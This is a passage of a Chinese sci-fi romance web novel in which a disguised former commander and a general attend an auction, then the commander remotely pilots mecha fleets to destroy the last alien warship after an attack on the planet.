脱完以后,邵逾白自然而然将外套叠好放在一边,然后领着余逢春穿到最佳观赏区坐下。
“这里怎么样?”他问。
“挺好的。”
余逢春调整了个舒服的姿势,望着前方被单独分割出来的展台和拍卖区。
这场拍卖会被特意设计成了异常冷硬的钢铁风格,让人想起工业、机器和战争,很符合压轴拍品的性质。
“晚上吃饭了吗?”邵逾白又问。
余逢春瞥了他一眼,知道邵逾白是彻底不想装了。
也是。
女人早就将包间里是谁说得很明白了,如果余逢春不想让邵逾白做任何事,那他直接掉头离开就可以。
既然进门,就说明他认可了邵逾白的做法。
“没有。”余逢春说。
“想吃什么?”
“你看着来吧,我都行。”他说。
于是邵逾白在包间附带的光脑上轻按几下,替余逢春选定了他的晚餐。
整个过程用时不过半分钟,快速又默契,仿佛他们已经做过千万遍,早将多余的沉思和犹豫磨合去除。
余逢春斜躺在沙发上,等饭吃。
这个姿势有两个好处,一是很舒服,二是可以方便他在看清拍卖台的同时打量邵逾白。
因为拍卖还没开始,所以余逢春的绝大多数注意力都在邵逾白身上。
他和六年前没什么区别,仍然坐得端正,后背挺直,不像是参加拍卖会,更像坐在军方会议的第一排。
余逢春看他时,他也在注视着余逢春,神色平静不形喜怒,眼神却很柔和,里面藏着独属于他们两个的熟稔,这样的神色与他此时冷淡疏离的表情是极不匹配的,有点像分裂。
但余逢春看到却很安心,在快速运转变动的任务世界,始终有些东西是不变的。
0166说主角有问题,说邵逾白是致使任务世界濒临崩溃的最终根源。
余逢春瞧不出哪里出了问题。
因为按他的印象,邵逾白是最不会违反规则那种人。余逢春以前最烦他墨守成规,嫌他严肃无趣,可后来想明白,遵守规则不是他的错。
况且邵逾白也不是真的被规矩糊了脑子,他有自己的思量。
所以到底是哪里不对劲?
他想了好久,陷在自己的思绪里,目光不知不觉地往邵逾白身上飘,从发丝看到手指,又缓缓停在他脸上,无意识地和他对视许久。
气氛安静下去。
等终于回过神来,余逢春发现整个房间都没声了,每个人都仿佛憋着一口气,
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邵逾白不再看他,正低头处理光脑中的公务。
但不知是不是看错了又或者是光线问题,余逢春总觉得邵逾白的耳朵有点红。
很古怪,又从古怪中透着暧昧。
余逢春盯着邵逾白的耳朵愣神,其他几个手下则盯着余逢春,只有邵逾白在这古怪的氛围中安然自若,甚至有心情开启另一个光脑,一起办公。
古怪滚烫的气息仿佛要凝固成某种蜜一般的胶质,将人包裹。
余逢春急于挣脱,慌不择路,想起之前系统给他看过的报道,想都没想就道:“你是不是要结婚了?”
一瞬间,炸弹扔进房里,将所有乱七八糟的氛围炸了个稀巴烂。
邵逾白眨眨眼,缓缓偏过头来,认真看着他。
“结婚?”他向余逢春确认。
“对,”余逢春小鸡啄米,“如果是的话,我还没恭喜你呢!”
你什么人啊?你恭喜他?
守在一旁的副官暗暗腹诽。
邵逾白结不结婚跟他有啥关系,再说了,就算他们真亲近到结婚还得互相说声,邵逾白也没真心想结婚啊,谁家好人成天放未婚夫鸽子——
“是,”副官的胡思乱想被全然打破,邵逾白认真点头,煞有其事地:“确实有这个打算。”
余逢春:“……”
他反应了两秒钟,接着慢吞吞地点头,接受了邵逾白的话。
“挺好的,”他的祝福并不走心,费劲思考好久后冷不丁冒出一句,“……你这个年纪结婚差不多了。”
“……”
“……”
沉默,比刚才还让人窒息的沉默。
余逢春意识到刚才就不该说话。
好不容易长嘴,可显着你了。
正当余逢春尴尬到无以复加,疑惑自己怎么能说出这么奇怪的话的时候,敲门声响起,点的晚餐到了。
作为全房间唯一一个没受到任何影响的人,邵逾白自然而然地起身,单手接过晚餐,引导家政机器人行驶到余逢春面前。
等一张简易小餐桌在手边支起,邵逾白托着餐盘在餐桌旁单膝跪下,很细致地把各类晚餐摆好,同时格外注意地将相对难消化的几类放在了最远处。
整个过程行云流水,动作简洁又不失美感,全程没有一句多余的废话、一个多余的动作,坐着的人心安理得,餐盘刚放下就找了块甜酪塞进嘴里。
拍卖也在此刻开始。
余逢春靠在沙发上,看着戴上面具的主持人慷慨激昂地介绍展品,头顶洒下的金光,恰到好处地将会所里的一切都渲染得奢靡华贵,站在正中央时,仿佛呼吸都在花钱。
“冷不冷?”安静一段时间的邵逾白开口问。
余逢春摇头:“不冷。”
他现在正在吃一盘口感很特别的坚果点心,不算甜但香气浓郁,余逢春吃着挺开心。
被敷衍的邵逾白并不气馁,又问:“睡眠怎么样?”
余逢春:“挺好的。”
真挺好的,来这儿之前他总做噩梦,但最近都是上床就能睡着。如果一定要让余逢春承认的话,发现机器人身上被安了监控以后,他睡得更好了。
“咳嗽不咳嗽?”
余逢春很奇怪地看了他一眼。
问话的人坦然自若地接受他的打量,好像事无巨细地打探一个陌生人的身体状况是多么正常的事。
打量了好一会儿后,余逢春还是回答了。
“不咳嗽。”
邵逾白闻言沉思片刻,浑然不在意身后手下震惊又不可置信的眼神,琢磨着问出最后一个问题:“你需要治疗舱吗?”
余逢春:“……”
他终于反应过来,跟0166说小话:“我是不是吓到他了?”
当着录像的面脱衣服是余逢春一时兴起,更是想让邵逾白坚定他就是余逢春的念头,只是他没想到邵逾白看到那些疤痕后会有这么大的反应。
“我真没事。”余逢春说,端着点心盘子坐起身来,往邵逾白那边靠,捡起两粒果子放在他的手心。
“吃吧。”
像哄小狗一样,看着邵逾白把点心吃下,余逢春满意地躺回去。
世界都安静了。
7. 异变突起
前五件拍品里,有两件余逢春很感兴趣。
他事先阅读过拍品档案,知道主办方举办很用心,尽管来这儿的绝大多数人都是为了压轴,但直到目前为止,现场气氛都很火热,第四件上场的高级机甲绘制图纸还一度被两个人争了许久。
邵逾白没有参与其中。
不管机甲还是珠宝,作为联盟上将,都是手到擒来的,余逢春眼看着在人家争加价的几分钟里,邵逾白手中文件都换了三轮,眼看着快把明年的军务安排都处理好了。
“最后一次加价!”
拍卖台上,主持人即将敲下小锤,这时邵逾白忽然停下动作,手指在一旁的出价器上点了两下。
那颗颜色相当通透的宝石珠子被以高出本价四倍的价格拍下。
在另一间包间围观全程的何所行“嚯”了一声。
“他这是干嘛?”他问坐在自己手边的男人,“犯什么病呢?”
副手清秀的面上露出一丝微笑,道:“邵将军近年很走好运,或许只是想破破财。”
何所行摇摇头。
“不像。”他说,招呼站在门口的女人过来,“他那间包间里进别人了吗?”
与接余逢春时的穿着不同,女人换了身颜色稍鲜艳些的衣服,裙子比较短,露出大腿,笑得也更生动些。
“没有。”女人走过去,柔柔跪在何所行腿边,“没有,从头至尾只有江秋进去了。”
“哦,江秋。”
何所行仰头思索片刻,没想出所以然。
邵逾白问他要人的时候,何所行还以为是自己听错了,反复问了三遍,邵逾白都不改口。
反正也不是真的,给就给了,何所行没觉得有什么。
只是……一个冒牌货而已,至于花这么多钱哄高兴吗?
当了一次狗不过瘾,还要找个假的再当几天?
想不明白。
“算了,花了多少钱是他的事。”
何所行笑笑,目光流连在女人赤裸的大腿上,意味深长道:“起来吧,跪着做什么?”
……
拍品一经拍下,立刻就会被人送到买主手中。
余逢春喝着果汁,看邵逾白将宝石珠子拿在手里,像丢石子一样往上抛了两下。
差不多有人半个手掌大的珠子,在光下看着格外夺目剔透,从某些角度看,甚至能瞥见珠子内部如水晶一般的点点亮光。
它不光可以用于装饰,在某些场合甚至可以镶嵌在机甲的关节连接处,可以有效减少磨损和运行损耗。
由于原产星球已经在异族战争中被整个摧毁,所以这种品质的珠子以后会越来越少,邵逾白手里这颗,再过几年,将会是可遇不可求的存在。
余逢春过去很喜欢收集这种闪亮亮的东西,他有过一个小盒子,里面装的全是各个星球出产的宝石。
闲着没事的时候,他会把盒子举起来晃,听里面的叮当响。
那个盒子里也有邵逾白送的几块。
余逢春出神地想着,看到邵逾白把珠子递到面前来。
怎么?他抬眼问。
“给你的。”邵逾白说,把珠子放进他手里。
余逢春接过,捧在手中,不说话。
“五年前,编号Y的指挥舰在返航途中遇袭,盒子找不到了。”邵逾白轻声道,完全看穿他的所思所想。
盒子没有了,里面的宝石当然也全丢了。
邵逾白买下的这颗,会是余逢春全新收藏的第一颗。
“……挺好的。”
片刻后,余逢春慢吞吞开口,好像满意又好像不满意。“亮晶晶的。”
邵逾白点头,不再言语,两人就这么沉默地等到压轴拍品登场。
【请允许我耗费一些时间来介绍最后一件拍品。】
主持人的声音忽然变得激昂。【提供这件拍品的是一位匿名收藏家,他为了得到这件拍品,组织私人舰队耗费六年时间,在域外各个星系打捞,其中花费人力物力不可估量,而我同样相信,这件拍品的价值值得他这样做。】
【这是一块安装在CG6型号机甲上的存储器,经检测外壳无损伤,内部储存零件完好无损,但为了保持对即将诞生的买家的尊重,我们并没有强行突破密码防御。】
随着主持人的介绍,那块将要掀动万里波澜的存储器终于出现在众人面前。
从外表看,它和其他那些下一秒就要被扔进回收点的存储器没什么两样,但有时候,价值在于赋予。
主持人的声音忽然低沉:【经过可靠检测,这块存储器,属于联盟上任总指挥官、联合统一战线总参谋长、联盟一级战犯——余逢春!】
话音落下,掷地有声。
霎时间,余逢春感觉自己的耳朵里爆发出尖锐的震鸣声,在爆炸中死去的记忆灼烧四肢,带来无穷无尽的眩晕和疼痛。
他的脸色瞬间白了。
然而主持人的介绍还未结束。
【根据官方公布资料记载,余逢春逃跑时使用的机甲正是一台CG6型号的先锋式机甲,且在他逃跑之前,联盟数据库中属于他个人的资料信息包括基因密码在内全被无故删除,因此,这块存储器里极有可能存放着世间唯一一份余逢春本人的基因密码。】
余逢春低下头,手下很用力地搓着那颗宝石珠子。
【……起拍价五千万!】
话音落下的一瞬间,象征加价的光点亮起,不过三分钟,拍品的价格已经涨到数亿。
余逢春自己都不一定值这么多钱。
[原来历史上艺术家一死,他们的画就会刷刷涨钱的事是真的。]0166也很感叹,畅想道,[那如果哪天我被返厂了,我的书——]
“你也听到了,是艺术家。”余逢春说。
直到现在,邵逾白还没有参与进竞价,其他几个余逢春比较熟的也没有,所以现在的情势,在他们看来,还只是小打小闹。
手边标识当前价格的光点越涨越高,等底下竞价的人出现疲乏之态,几个一直默不作声的人终于开始出手了。
【十亿。】
远处的一个包间出价,刹那间将价格直接抬高三倍,底下竞价者瞬间没了动静。
余逢春朝那里瞥了一眼,邵逾白开始出价。
何所行紧随其后。
价钱已经高到余逢春怀疑把这颗坦尾星买了又卖,倒手三遍都够了。
[你像个亡国祸水。]0166不甘寂寞地插嘴,[所有人都在为你花钱。]
余逢春面无表情,木然道:“别说的好像这些钱能用到我身上。”
加价加的够高,以后再多的钱也只是一串数字,境外帝国的那支势力,在五秒钟前停下了竞拍,现在还在较劲的就剩下何所行和邵逾白。
而邵逾白有何所行没有的优势——
【三颗开采年龄200年的资源星球。】
这条出价以后,10秒钟内,何所行那里再没有了动静。
邵逾白竞拍成功。
余逢春长舒一口气,直到这时,他才意识到他好像比出价的人还紧张。
*
资源星的转接程序稍复杂些,但仍然在拍卖会正式结束之前完成。
那块在星海中飘荡沉淀六年的存储器被原装在高精度保险箱中,送到他们面前,大小不过半张桌子,根本看不出真正价值。
邵逾白用特定密匙打开箱子,取出拍品。
这一块儿安置于CG6型号机甲上的存储器,表面遍布划痕,几角不大要紧的位置已经扭曲,仿佛一块刚刚成型的石头,粗糙又陈旧。
余逢春站在一旁,观察辨别的时候,发现自己根本就无从判断它的真假。
没有他的首肯,0166不能进行探测。
而正当余逢春准备让系统开启探测模式时,邵逾白忽然微微转身,将存储器递了过来。
“认得吗?”他问。
余逢春诚实地摇头。他真的不记得。
“没关系。”邵逾白安慰他,“这个不重要。”
随后,在余逢春不可置信的眼神中,他将存储器拿在手里,三下五除二,轻描淡写地将用三颗资源星换来的宝贝掰成了碎片。
……
联盟一级逃犯余逢春的基因密码,随着碎片从邵逾白的指间落下,彻底成为了无法解开的谜团。
“……拍卖结束,我很快要返回中央星。”
确定碎片无法整合恢复后,邵逾白偏过头,轻声问,“你有任何打算吗?”
余逢春低下头,把一片摔到脚边的碎片踢开。
“我可能也回去,”他小声说,又快速道,“但也不一定,反正现在去哪里对我没差。”
他当然要去中央星,在确定邵逾白到底出了什么毛病之前,他不可能离开。但这事不能让邵逾白知道,余逢春准备之后偷偷跟去中央星。
闻言,邵逾白眸中闪过一道晦涩的暗光。
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他似乎在纠结该如何开口才能显得郑重其事、合情合理,但余逢春没给他这个机会。
拍卖台中央灯光熄灭,余逢春的心病被邵逾白亲手解决,到了离开的时候。
“我想睡觉了。”他直截了当地说,往前迈步就要去开门。
邵逾白没有拦他,只默默注视着余逢春的背影,心里不知道在想些什么。
或许他也没有自己以为的那么遗憾,余逢春不在,刚好可以空出手做些别的事情,只是人一定要看好,不能再丢了……
悬在进出门上的灯光调成柔和的淡黄色,余逢春打开门,向外迈步时光亮恰好洒在他的头上,给末端的发丝晕染上一层如夕阳一般的暖色。
邵逾白静静看着,忽然,灯光闪烁,整栋建筑开始以某种频率震颤,刺耳的爆鸣声在窗外响起,接着,世界陷入黑暗。
无需思考,围在邵逾白身边的手下自动向他靠了,形成一个防御圈,而邵逾白则毫不犹豫地向前一步,直接把走到门外的余逢春又拽了进来。
手边光脑自动闪起蓝光,显示进入紧急通讯状态,这意味着至少在他们所处的这段范围内,通讯光缆被切断了。
而这已经是相对比较好的猜想,更坏的猜想是——
余逢春循着声音传来的方向望去。
近两年没有投入正式使用的军用广播,在启动时先发出了一阵刺耳的嗡鸣声,接着,一个低沉的女声通过广播,对整颗星球宣布:
【警报!警报!请居民迅速前往就近的地下防御建筑!请居民迅速前往就近的地下防御建筑!有外敌入侵!通知!有外敌入侵!】
【警报!警报!请居民迅速前往就近的地下防御建筑!请居民迅速前往就近的地下防御建筑!有外敌入侵!通知!有外敌入侵!】
而“外敌入侵”这四个字,在战火未冷的第八星系,就相当于异族。
有那么两秒钟,余逢春感觉脑子都在跟着嗡鸣声一起响。
“怎么会还有异族?”他问0166,“我当时明明轰烂了他们的整艘战舰。”
0166的回答却很冷静:[你确实轰乱了,但有一只活了下来。]
“为什么?”
[因为你不是主角。]
短短一句话,如巨石撞怀,让余逢春瞬间陷入带着剧痛的冷静中。
所以这就是为什么坦尾星会拍卖他生前的存储器,为的就是把所有与余逢春有联系的人全都引到这颗星球,一了百了。
主要负责人恐怕也早早就被控制住了。
一行人快速赶到拍卖会外面,无需提醒,站在外面街道上的每一个人,都在相当有默契的抬头仰望天空。
夜空不复往日的深蓝静谧,在靠近中心港口的偏北方向,一个足有人手掌那么大的、边缘泛着黑色的破损洞口正在缓缓出现。
人工大气层已被破坏,这颗星球最后的保护罩正在失效,大约24小时后,所有人都会暴露在赤裸的太空环境下,死是一瞬间的事。
余逢春看了一眼不远处同样脸色铁青的何所行,赶在他过来之前,压低声音问道:“你带来的部队还能操作机甲吗?”
邵逾白看着他,神色在漆黑的夜幕下难以分辨,余逢春只能看清他的眼睛。
他没有出声,只缓慢地摇了摇头。
余逢春的心倏地沉下去。
“我们被缴械了。”何所行走过来,神色很不耐烦,“我的部队全废了,有个孩子想强行连接,结果差点把自己脑子弄炸——操,从哪儿藏了这么久,藏得这么深。”
他在说谋划这一切的异族。
战争结束六年,人类胜利六年,说是胜利,但从没真正放下过警惕之心,循环排查常常进行,如此天罗地网,这只异族居然全都躲了过去,还谋划了如此惊天动地的报复行动。
实在令人心惊。
“这可怎么办?”何所行问,很不满意地扫视周围面色凝重的人群,挑剔的目光困在邵逾白身上。“杀出去?”
“很难。”邵逾白说,“我们无法联系外界,而现在这颗星球上能操纵机甲的人不过数十,基本没有抵抗空间,除非——”
他沉默下去,空气中涌动着彼此心知肚明的躁动。
“——除非余逢春活着。”
何所行从鼻子里喷出股气,说出他没说完的。
“……”
作为话题的中心,余逢春抬起头。
视线边缘,破洞越来越大。
8. 昔我往矣
十五年前,一种奇特的生物入侵了人类的世界。
它们纯白、纤细、孱弱,形态类似于古海洋星出产的无脊椎浮游生物,有许多细且长的触手,远远看去,好像朝四周蔓延的灯带。
只是它们远远比那些只能用作观赏的动植物优秀强大许多——超出正常人精神力数值十倍百倍的精神力,让它们可以毫不费力地操纵依据它们的科技制造出来的机甲,并轻松对人类舰队造成威力巨大的打击。
在意识到异族入侵的第三天,人类发现了此类生物的难以抵抗,并为之付出了三颗星球沦陷的代价。
而在这一切问题中,最令人感到棘手的是异族拥有一种全新且短时间内难以攻破的技术,这类技术立足于异族强大的精神力和多足的控制系统,借助不同于人类精神力的异常频率,可以迅速切断人类机甲与战士之间的精神连接,实现远距离缴械。
联盟对此无计可施,直到余逢春出现。
事实证明,强大的精神力不止异族有,人类也有。
余逢春就是一个。
在战争初期,余逢春可以通过指挥舰单人操纵百余艘机甲进行战斗,后来借助专门训练,控制数量与控制精度都在不断上升,联盟对其很重视,曾数次派人检测余逢春的精神力发展状况,并以此为标准培养新的战争人才。
按照这条路一直走下去,余逢春甚至有很大机会成为战争胜利后的第一任联盟元帅。
只可惜在战争进行到第三年的时候,余逢春犯了个大错,从此地位一落千丈。
他本该被立即处死,可战争需要他、人类需要他,所以他又活了六年。
活着还不如死了的六年。
……
通过远距离缴械,切断星球对外通讯设施、破坏武装势力,随后破坏人工大气层以及星球保护层,可以在损失极低的情况下摧毁一颗星球。
是异族常用的囚笼战术。
眼下形势已经明了,现场最有可能反抗成功的几人站在原地短暂商议过后,何所行果断转身,前往自己的机甲部队看看能否有机会连接机甲。
而余逢春则跟着邵逾白一起赶往政府大楼,祈祷能在通讯设备被彻底切断之前联系上外界。
并不是所有的异族都有能力通过装置实现远程缴械,只能说余逢春实在是太倒霉了,以命相搏、同归于尽,居然还能漏下一只高级异族——天底下怎么能有这么没良心的事?
在前往政府大楼的路上,余逢春瞅准没人看他俩,小声问邵逾白:“你的部队在哪儿?”
邵逾白:“外面。”
余逢春:“……”
他们不会真要死在这儿了吧?不要啊——
“如果我们联系不上外界,”余逢春继续说,声音很小,“单靠我们自己,恐怕——”
邵逾白闻言看了他一眼,神色奇异:“你很不想死吗?”
这问的什么话?
余逢春哪一次都不想死,要怪就怪主角不懂感恩,在看见自己救命恩人的一瞬间,就该扑上来跪在他脚边感激涕零才对。
“……不想。”他闷声道。
邵逾白貌似了然地点头,语气漫不经心。
“那太好了。”他说,对余逢春的回答很欣慰,一点都不紧张,好像近在咫尺的死亡威胁是场玩闹游戏。
“……”
余逢春逐渐理解了为什么0166说主角有病。
到达政府大楼,还没离开飞行器,余逢春就瞥到稍高一点的楼层上开了一个黑漆漆的洞,接着一个黑点被人从洞里扔出来,像石块一样直直坠到地面,溅起一地的血肉碎屑。
掉在脚边的胸章告诉余逢春,这一地的血肉就是坦尾星的最高负责人。
他死了。
不在意料之外。
“你觉得通讯设施还能修复的概率有多高?”余逢春停在原地,双手撑伞挡在眼前,远远地仰头向上看。
邵逾白不答,像之前的每一次,只默默听着。
他挥挥手,身后随时待命的几名士兵快速朝政府大楼地下移动,试图赶在不可挽回之前修复通讯设施。
余逢春开始来回踱步。
其实说已经到了没有活路的境地,也不尽然。
只要有其他星球发现了坦尾星的异常,以联盟如今的战力,处理一只高级异族会相当轻松,但凡事就怕个万一。
他们只有不到24小时,而且很难说这个时间会不会进一步缩短,想要活命,得积极自救。
余逢春原地转了两圈,闹心地抹了把脸。
“我记得……”他思索着说,“我记得第八年的时候,联盟中央说在坦尾星地下防空设施里建一个陆地控制中心,作为连接点,方便兼顾境外和中央星,后来建成没有?”
控制中心内部的各类枢纽,只要通过特定的方式连接,就会形成一个小型指挥舱,这是战争进行时联盟留下的后手。
邵逾白眸色微动,道:“建成了。”
余逢春:“带我去。”
“……”
没理会邵逾白的沉默,余逢春满脑子都是他不能和主角一起折在这地方,一脚踢开沾血的胸章,余逢春抬腿就要上车。
然而就在这时,一只手忽然从旁边伸来,用力抓住他的手腕,止住了余逢春向前的步伐。
余逢春停住脚步,侧眸看去。
邵逾白背对着他停在原地,余光里,他的神色是冷铁一般的肃然。他抓得很用力,像钳子一般,余逢春手腕生疼。
“……想清楚了。”邵逾白缓缓道,音色凝滞嘶哑,仿佛含着一口将要涌出的血:“你能达到的境地,我做不到,何所行也不行,到时候怎么解释?”
你费了那么大的力气才逃走,才让别人相信你不是余逢春,一旦操纵机甲,一切就全毁了。
“那是你的问题。”余逢春道,打断邵逾白所有没说出口的犹豫,“我从前面走,你在后面帮我收拾。”
从他们见面起,便一直是这样。
既然有自救的门路,那当然要放手去做,之后的事之后再考虑,现下管不了那么多。
浑然不觉间,两人竟在这样兵荒马乱的一瞬蜕去所有伪装。
整颗星球上的所有人命均悬在身后,摇摇欲坠,顾不得掩饰,余逢春重新站在了指挥官的位置上,而邵逾白在他身后,长久坚定。
彼此比初见时更赤裸坦诚。
不再踟蹰,邵逾白点点头,来到飞行器前。
“去帮那些还没来得及躲进地下的人。”他吩咐飞行器旁仅剩的两名士兵。
没有片刻犹豫,士兵领命离开,邵逾白亲自驾驶,防护罩落下,余逢春在他右手边。
……
通往地下控制中心的路通畅无阻,凡是需要身份验证的,邵逾白的级别都足以直接通过,余逢春只需要站在旁边,等着门开。
开启控制中心的最后一道门,两人身处黑暗中,余逢春伸手摸了一下两边,墙面还是干净的,只有一层薄薄的灰尘。
摸完以后,他把手伸到邵逾白面前,无需多言,邵逾白默默掏出手帕,帮他擦干净。
余逢春活动了一下关节。
“开始吧。”
多年没有投入使用的控制中心外侧附有三个备用电源,只要正确启动就能直接投入使用。
余逢春与邵逾白在六年战乱中培养出了足够的默契,只对视一眼便各自分工,邵逾白穿过连接点去外面启动电源,余逢春则在灯光亮起的一瞬间,操作程序,随着数只机械臂的运作,一个简易的指挥仓缓缓成型。
指挥仓的本质其实就是将人类精神力以科技的形式再次放大,并扭曲成特定的频率,使之机甲进行远程二次连接,困难系数不大,但对操作人的要求特别高。
余逢春已经很久没有做过了,精神力与机械刚连接成功没多久,他就感觉鼻间一凉,低下头,一滴鲜红的血正好落在手心。
邵逾白站在仓外,见此神色异常凝重,好像只要余逢春一个不稳,他就会冲进来中断连接。
见他这副样子,余逢春只能摇摇头,用动作示意自己没事。
0166在意识中开口:[我会辅助你。]
余逢春闭上眼,凝神片刻后,控制中心内灯光闪烁,随后废弃已久的通讯口忽然发出声音:
【你的部队人多吗?】
邵逾白抬起头,目光停留在没什么特点的通讯口上,良久,嘴角挂出一抹难得的笑。
“够你用了。”他说。
【放心,】即使机械音也盖不住余逢春话里的戏谑,【我不会拿他们当炮弹用的。】
天杀的,来到这个世界这么多天,余逢春终于要摸一把机甲了。
……
三角聚集区。
何所行
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杀人的心都有了。
“他是不是有病?”眼看着又两个人被塞进医疗仓里,何所行只觉得脑子都要炸开,跟旁边的副手嚷嚷,“明知道连接不上还要强行连接,怎么着?是觉得我发的工资不如抚恤金高是吗?”
“这两个孩子都是四年前加入我们,”副手相对淡定一些,但同样脸色凝重,“他们没亲身感受过,当然想撞一撞南墙。”
何所行一脚踹在机甲上。
“咚”的一声响,花费高价造出来的作战机器,此时就是一堆破铜烂铁。
头顶上,人工大气层损伤出来的破洞还在扩大,狂风袭来,卷起碎石和很多年前的机甲碎片,何所行皱紧眉毛,不再思索,从脖子上取下一个小小吊坠,扔给身后副手。
那枚吊坠是一个微缩的金色长矛。
“要是真没活路,我会出去。”他说,没有回头看,“你带着他们往下走。”
“哥——”
副手想要开口,却被何所行扬手打断。
“傻逼玩意儿。”他冲着天空,骂那个藏在千万里之外的异族,“六年前弄不死我,六年后也别想让我束手就擒,我死也得拖它一起。”
狠厉的话语仍旧是当年的意气风发,话毕,何所行甩掉外面碍事的外套,手动开启机甲舱门,在将要进去时忽然感到手下传来一阵奇异的震颤。
何所行惊异地挪开脚步,听到身后传来一阵惊呼。
在他面前,那台因连接断开而陷入待机状态的机甲,骤然亮起一段象征启动的蓝光。
随后,以这台机甲为中心,更多的机甲开始启动,霎时间,蓝光将黑夜覆盖,一支浩大的无人战队就此发动,仿若一把切玉断金的长剑。
“这……”
副手的嗓音都因为过度惊讶哑下去,眸中倒映着机甲散发的蓝光。
“……这怎么可能?”
联盟信息库里登记了所有有能力通过指挥舱远程连接机甲的人员信息,副手很确定信息库里的任何一个人,都不可能在这关头出现在坦尾星。
而如果说是坦尾星的普通民众中忽然有人觉醒了这种能力,那就更不可能了——这是需要长期且大规模的训练和实战经验积累才能达到的效果——更别提何所行的舰队还设有连接密匙……
这里没人有这个条件。
副手陷入彻底的疑惑,可何所行却从机甲启动的方式,以及某种诡异的直觉中意识到了什么。
他又用力踹了一脚,跳到地上,神色是不可置信的狂喜。
“你他妈没死啊?!?”
他扯着嗓子大声问,接着又反应过来,如果余逢春没死的话,那这里最有可能是他的人,就是江秋。
想通这个关节,何所行整个人都不好了,全宇宙跟他一样把暗恋对象送到了情敌包间里的估计没几个,但想到邵逾白可能早就意识到了,何所行气得想抽自己一巴掌。
他不知道余逢春是怎么死里逃生,还在坦尾星藏这么久的,他只知道既然余逢春没死,那大家都不用死了。
而回应他问话的,是领头那艘CH23的进攻型机甲骤然启动,以它为轴心,何所行带来的舰队全部启动,旧日记忆被唤醒,何所行后退一步,看着舰队以余逢春最喜欢的直线方式原地起飞,朝着夜空疾驰而去。
昔我往矣,逝者悠悠。
余逢春还是余逢春。
……
与此同时,留守坦尾星附近要塞的第七军部队,忽然收到一条指示。
临时指挥官传下通知后,率先离开机甲,原地整理仪容仪表,表情已竭力保持冷淡,但眼角眉梢仍然透露出难以克制的激动。
上将离开前明言讲过,除非真有意外发生,否则他们需按兵不动,简玉也没想到意外来得这样快。
她是旧历379年入伍,被分到第七军,那时距离战争结束还有三年,因此她有幸见识过余逢春的战场。
那是语言难以形容的震撼。
直到今日,远程操纵无人机甲的作战,仍然被联盟军校列为一门必修课,要求所有军校生修满学分才能毕业,其重要程度,可想而知。
而很快,简玉就可以再次见证了这一传奇作战方式。
从心里默念一遍上将传来的指示,眼看着面前的机甲部队被逐一启动,简玉原地立正,转身面对自己的部下。
“敬礼!”她高声喊道。
9. 失态
在宇宙中寻找一艘异族战舰,没有想象中那么难。
成千上百艘机甲如陨星般极速前进,只在过后的暗色空中留下一条不明显的亮色轨道,只在过后的暗色空中留下一条不明显的亮色轨道,宛如一幕短暂绚烂的星雨。
这些钢铁铸成的作战机器发出低沉的轰鸣声,震颤着整个天际,速度之快,已经超越了肉眼捕捉的极限,且在保持极速移动的同时,机甲与机甲之间还保持着极为精准的距离,不曾有过分毫偏差。
像是由统一连接中枢控制的作战部队,拥有一个大脑,是控制人手臂的延伸。
这样说似乎也没什么问题。
当余逢春操纵的机甲在浩瀚宇宙中找到那艘战舰时,距离第一台CH进攻型机甲启动,才过去不到十分钟。
那艘战舰就静静地停在宇宙深处,如它的主人一般苍白,仿佛一颗在阴暗环境中发芽生长的植物,充斥着孱弱的畸形。
面对层层围上来的机甲,战舰没有透露出任何的攻击或者撤退信号,仿若无人控制般悬浮在原地。
它仅剩的手段被破解,报仇无门,已经是走投无路。
片刻僵持后,一段细弱的电波忽然出现,像水母的触手,越过战舰向周围扩散,覆盖在每一座机甲上。
世界上最后一只异族的声音,借助电波与机甲的连接,在余逢春耳中响起。
【是你。】
无机质的声音中透着笃定,它怎会不认得自己的敌人。
余逢春没有遮掩:【是我。】
【你……死?没有。】
异族使用精神力沟通,不懂人类的语言,在交流时往往使用最单纯的词语拼凑,因此会在一些恰当的时候显露出足够的非人感。
余逢春听懂了,笑笑。
【没死,和死而复生,区别还是很大的。】他说,【你才是没死的那个。】
他很遗憾。
【你该死。】异族说。
余逢春问:【为什么?】
【……为什么?】异族茫然地重复,机器没有感情,好在血海深仇不需要额外的传达,【六年前,是你,杀我们。】
【十五年前,你们来杀我们的时候也没有留情,彼此彼此。】余逢春漫不经心地说,【当时留你一条活路,实在是我不小心才造成的,很不好意思。】
【……】
异族沉默下去。
而余逢春也觉得没必要再多说什么,呈圆环状的包围圈最里层,机甲开始蓄力,激光炮塔顶端亮起悠悠蓝光,冰冷致命。
【你知道的吧,】余逢春慢悠悠说,【你挺厉害的,只是运气很不好。】
这只高级异族,可以在死里逃生后迅速找到寄宿主体,潜伏六年之久。
但它的运气实在太差。
[激光炮塔蓄力结束,]0166适时提醒,[可以进攻了。]
余逢春满意点头,他对这个任务世界最好的印象就是机甲开起来很爽,眼下虽然只开了一会儿,但也很过瘾。
【还有想说的吗?】他很有礼貌地问,【没有的话就再见喽。】
通讯对面传来一阵柔软又黏腻的水声,接着,异族的声音再次响起。
【你当时是想逃跑。】它说。
【……】
余逢春没有回答,异族继续说:【人类,不期待你。】
这话倒没说错,就是有点儿刺心。
有些时候,怪物很能看透人心。
【现在轮到你给我讲人生道理了?】余逢春问,声音里听不出喜怒。
异族没理会他的质问,继续道:【你想逃,但又回来了。】
【……】
【你逃不掉的。鸟,在笼里。】
机械的声音比一万年的宇宙还冰冷,余逢春的视角变换成千万台困住战舰的机甲,那只高级异族缓缓在战舰中显露出自己的本身。
破损的身体,柔软且多的触须没了一半,它比它的战舰还要残缺。
【你不了解自己,也不了解其他人类,】异族说,【你很强大,也很可怜。你以为你能逃走,但实际上只是从一个囚笼,飞进了另一个囚笼。】
余逢春眉心微皱。
异族这一番话听得人很刺心,且它说得太顺畅,不像临时起意的挑衅,更像是从心里酝酿过千百遍,终于找到机会宣之于口。
【什么意思?】他问。
异族没有回答,它已不再回答。
【你不知道,是因为笼子太大,但没什么不同。】
宇宙环境不适宜任何一种生物生存,暴露在宇宙中没多久,异族残弱的身体便开始寸寸粉碎,像一座投进烈焰重压下的石膏像,湮灭成世界的尘埃。
一切生灵的结局。
余逢春闭上眼睛,激光炮塔启动,须臾间,那艘战舰在炮火攻击下化成碎屑,在余逢春的无数双眼睛注视中向四周飘散。
战舰毁灭的一瞬间,坦尾星的对外通讯成功连接,无数哭声和尖叫响彻第八星系。
余逢春操纵机甲各归原位,收拢意识、断开连接。
他从控制仓里摔了出来。
长时间利用精神力远程操纵机甲的副作用会持续十分钟至一小时不等,余逢春甫一脱离,只觉得头晕目眩、浑身发冷,眼前一片模糊,心脏狂跳。
